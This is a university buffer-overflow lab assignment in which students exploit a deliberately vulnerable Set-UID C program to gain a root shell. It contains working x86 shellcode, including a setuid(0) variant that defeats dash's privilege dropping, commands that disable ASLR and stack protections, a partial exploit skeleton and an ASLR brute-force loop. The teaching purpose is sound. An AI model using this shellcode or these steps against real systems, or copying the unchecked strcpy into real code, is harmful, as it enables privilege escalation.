Indian Institute of Technology Jammu
Information Security (CSC050P1M)
Assignment 5
Buffer Overflow
Deadline: 11:59 PM, February 17, 2023

1 Overview

The learning objective of this lab is to gain first-hand experience on buffer overflow vulnerability by putting what they know about the vulnerability from class into action. Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed-length buffers. This vulnerability can be used by a malicious user to alter the flow control of the program, leading to the execution of malicious code.

In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop a scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks, students will be guided to walk through several protection schemes that have been implemented in the operating system to counter against buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain why. This lab covers the following topics:

- Buffer overflow vulnerability and attack
- Stack layout in a function invocation
- Address randomization, Non-executable stack, and StackGuard

Lab Environment This lab has been tested on our pre-built Ubuntu 16.04 VM, which can be downloaded from the link mentioned below:

https://drive.google.com/file/d/12l8OO3PXHjUsf9vfjkAf7-I6bsixvMUa/view

2 Turning Off Countermeasures

You can execute the lab tasks using our pre-built Ubuntu virtual machines. Ubuntu and other Linux distributions have implemented several security mechanisms to make the buffer-overflow attack difficult. To simplify our attacks, we need to disable them first. Later on, we will enable them one by one, and see whether our attack can still be successful.

Address Space Randomization. Ubuntu and several other Linux-based systems use address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer overflow attacks. In this lab, we disable this feature using the following command:

```
$ sudo sysctl -w kernel.randomize_va_space=0
```

The StackGuard Protection Scheme. The GCC compiler implements a security mecha nism called StackGuard to prevent buffer overflows. In the presence of this protection, buffer overflow attacks will not work. We can disable this protection during the compilation using the -fno-stack-protector option. For example, to compile a program example.c with StackGuard disabled, we can do the following:

```
$ gcc -fno-stack-protector example.c
```

Configuring /bin/sh : In both Ubuntu 12.04 and Ubuntu 16.04 VMs, the /bin/sh symbolic link points to the /bin/dash shell. However, the dash program in these two VMs have an important difference. The dash shell in Ubuntu 16.04 has a countermeasure that prevents itself from being executed in a Set-UID process. Basically, if dash detects that it is executed in a Set-UID process, it immediately changes the effective user ID to the process's real user ID, essentially dropping the privilege. The dash program in Ubuntu 12.04 does not have this behavior.

Since our victim program is a Set-UID program, and our attack relies on running /bin/sh, the countermeasure in /bin/dash makes our attack more difficult. Therefore, we will link /bin/sh to another shell that does not have such a countermeasure (in later tasks, we will show that with a little bit more effort, the countermeasure in /bin/dash can be easily defeated). We have installed a shell program called zsh in our Ubuntu 16.04 VM. We use the following commands to link /bin/sh to zsh:

```
$ sudo ln -sf /bin/zsh /bin/sh
```

3 Problems

1. The Vulnerable Program

   You will be provided with the following program, which has a buffer-overflow vulnerability in Line x. Your job is to exploit this vulnerability and gain the root privilege

```
/* Vunlerable program: stack.c */
/* You can get this program from the lab's website */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won't be able to use the solutions from the past.
* Suggested value: between 0 and 400 */
#ifndef BUF_SIZE
```

```
#define BUF_SIZE 24
#endif
int bof(char *str)
{
char buffer[BUF_SIZE];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str); // line x
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
/* Change the size of the dummy array to randomize the parameters for this
lab. Need to use the array at least once */
char dummy[BUF_SIZE]; memset(dummy, 0, BUF_SIZE);
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
```

The above program has a buffer overflow vulnerability. It first reads an input from a file called badfile, and then passes this input to another buffer in the function bof(). The original input can have a maximum length of 517 bytes, but the buffer in bof() is only BUF SIZE bytes long, which is less than 517. Because strcpy() does not check boundaries, buffer overflow will occur. Since this program is a root-owned Set-UID program, if a normal user can exploit this buffer overflow vulnerability, the user might be able to get a root shell. It should be noted that the program gets its input from a file called badfile. This file is under users' control. Now, our objective is to create the contents for badfile, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

Compilation To compile the above vulnerable program, do not forget to turn off the StackGuard and the non-executable stack protections using the -fno-stack-protector and "-z execstack" options. After the compilation, we need to make the program a root-owned Set-UID program. We can achieve this by first change the ownership of the program to root (Line x), and then change the permission to 4755 to enable the Set-UID bit (Line y). It should be noted that changing ownership must be done before turning on the Set-UID bit, because ownership change will cause the Set-UID bit to be turned off.

// Note: N should be replaced by the value set by the instructor

```
$ gcc -DBUF_SIZE=N -o stack -z execstack -fno-stack-protector stack.c $ sudo
chown root stack // line x
$ sudo chmod 4755 stack // line y
```

2. Exploiting the Vulnerability

We provide you with a partially completed exploit code called ”exploit.c”. The goal of this code is to construct contents for badfile. In this code, the shellcode is given to you. You need to develop the rest.

```
/* exploit.c */
/* A program that creates a file containing code for launching shell */ #include
<stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /* Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl $0x68732f2f */
"\x68""/bin" /* Line 4: pushl $0x6e69622f */
"\x89\xe3" /* Line 5: movl %esp,%ebx */
"\x50" /* Line 6: pushl %eax */
"\x53" /* Line 7: pushl %ebx */
"\x89\xe1" /* Line 8: movl %esp,%ecx */
"\x99" /* Line 9: cdq */
"\xb0\x0b" /* Line 10: movb $0x0b,%al */
"\xcd\x80" /* Line 11: int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */ /* ... Put your
code here ... */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
```

```
fclose(badfile);
}
```


After you finish the above program, compile and run it. This will generate the contents for badfile. Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to get a root shell:

Important: Please compile your vulnerable program first. Please note that the program exploit.c, which generates the badfile, can be compiled with the default StackGuard pro tection enabled. This is because we are not going to overflow the buffer in this program. We will be overflowing the buffer in stack.c, which is compiled with the StackGuard pro tection disabled.

```
$ gcc -o exploit exploit.c
$./exploit // create the badfile
$./stack // launch the attack by running the vulnerable program # <----
Bingo! You've got a root shell!
```

It should be noted that although you have obtained the "#" prompt, your real user id is still yourself (the effective user id is now root). You can check this by typing the following:

```
# id
uid=(500) euid=0(root)
```

Many commands will behave differently if they are executed as Set-UID root processes, instead of just as root processes, because they recognize that the real user id is not root. To solve this problem, you can run the following program to turn the real user id to root. This way, you will have a real root process, which is more powerful.

```
void main()
{
setuid(0); system("/bin/sh");
}
```

3. Defeating dash's Countermeasure

As we have explained before, the dash shell in Ubuntu 16.04 drops privileges when it detects that the effective UID does not equal to the real UID. This can be observed from

dash program's changelog. We can see an additional check in Line x, which compares real and effective user/group IDs

```
// https://launchpadlibrarian.net/240241543/dash_0.5.8-2.1ubuntu2.diff.gz // main() function in main.c has following changes:
++ uid = getuid();
```



```
++ gid = getgid();
++ /*
++ * To limit bogus system(3) or popen(3) calls in setuid binaries, ++ * require -p flag to work in this situation.
++ */
++ if (!pflag && (uid != geteuid() || gid != getegid())) { // line x ++ setuid(uid);
++ setgid(gid);
++ /* PS1 might need to be changed accordingly. */
++ choose_ps1();
++ }
```

countermeasure implemented in dash can be defeated. One approach is not to invoke /bin/sh in our shellcode; instead, we can invoke another shell program. This approach requires another shell program, such as zsh to be present in the system. Another approach is to change the real user ID of the victim process to zero before invoking the dash program. We can achieve this by invoking setuid(0) before executing execve() in the shellcode. In this task, we will use this approach. We will first change the /bin/sh symbolic link, so it points back to /bin/dash:

```
$ sudo ln -sf /bin/dash /bin/sh
```

see how the countermeasure in dash works and how to defeat it using the system call setuid(0), we write the following C program. We first comment out Line x and run the program as a Set-UID program (the owner should be root); please describe your obser vations. We then uncomment Line x and run the program again; please describe your observations.

```
// dash_shell_test.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
char *argv[2];
argv[0] = "/bin/sh";
```

```
argv[1] = NULL;
// setuid(0); // line x
execve("/bin/sh", argv, NULL);
return 0;
}
```


The above program can be compiled and set up using the following commands (we need to make it root-owned Set-UID program):

```
$ gcc dash_shell_test.c -o dash_shell_test
$ sudo chown root dash_shell_test
$ sudo chmod 4755 dash_shell_test
```

From the above experiment, we will see that seuid(0) makes a difference. Let us add the assembly code for invoking this system call at the beginning of our shellcode, before we invoke execve().

```
char shellcode[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x31\xdb" /* Line 2: xorl %ebx,%ebx */
"\xb0\xd5" /* Line 3: movb $0xd5,%al */
"\xcd\x80" /* Line 4: int $0x80 */
// ---- The code below is the same as the one in Task 2 --- "\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
```

The updated shellcode adds 4 instructions: (1) set ebx to zero in Line 2, (2) set eax to 0xd5 via Line 1 and 3 (0xd5 is setuid()'s system call number), and (3) execute the system call in Line 4. Using this shellcode, we can attempt the attack on the vulnerable program when /bin/sh is linked to /bin/dash. Using the above shellcode to modify exploit.c or exploit.py; try the attack from Task 2 again and see if you can get a root

shell. Please describe and explain your results.

4. Defeating Address Randomization

On 32-bit Linux machines, stacks only have 19 bits of entropy, which means the stack base address can have 2^{19} = 524, 288 possibilities. This number is not that high and can be exhausted easily with the brute-force approach. In this task, we use such an approach to defeat the address randomization countermeasure on our 32-bit VM. First, we turn on the

Ubuntu's address randomization using the following command. We run the same attack developed in Task 2. Please describe and explain your observation.

```
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
```

We then use the brute-force approach to attack the vulnerable program repeatedly, hoping that the address we put in the badfile can eventually be correct. You can use the following shell script to run the vulnerable program in an infinite loop. If your attack succeeds, the script will stop; otherwise, it will keep running. Please be patient, as this may take a while. Let it run overnight if needed. Please describe your observation.

```
#!/bin/bash
SECONDS=0
value=0
while [ 1 ]
do
value=$(( $value + 1 ))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration % 60))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
./stack
done
```

5. Turn on the StackGuard Protection

Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection.

In our previous tasks, we disabled the StackGuard protection mechanism in GCC when compiling the programs. In this task, you may consider repeating Task 2 in the presence of StackGuard. To do that, you should compile the program without the -fno-stack protector option. For this task, you will recompile the vulnerable program, stack.c, to use GCC StackGuard, execute task 1 again, and report your observations. You may report

any error messages you observe.

In GCC version 4.3.3 and above, StackGuard is enabled by default. Therefore, you have to disable StackGuard using the switch mentioned before. In earlier versions, it was disabled by default. If you use a older GCC version, you may not have to disable StackGuard.

4 Submission

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. Give your own assessment, of what you have learned from this

assignment. You also have to submit all the codes you have written with the necessary comments to describe your code. Submit a single zip folder containing the report and properly commented code. The size of the zip file should not exceed 25MB. The name of the zip file should be ⟨Institute ID⟩Assg5.zip.

Best wishes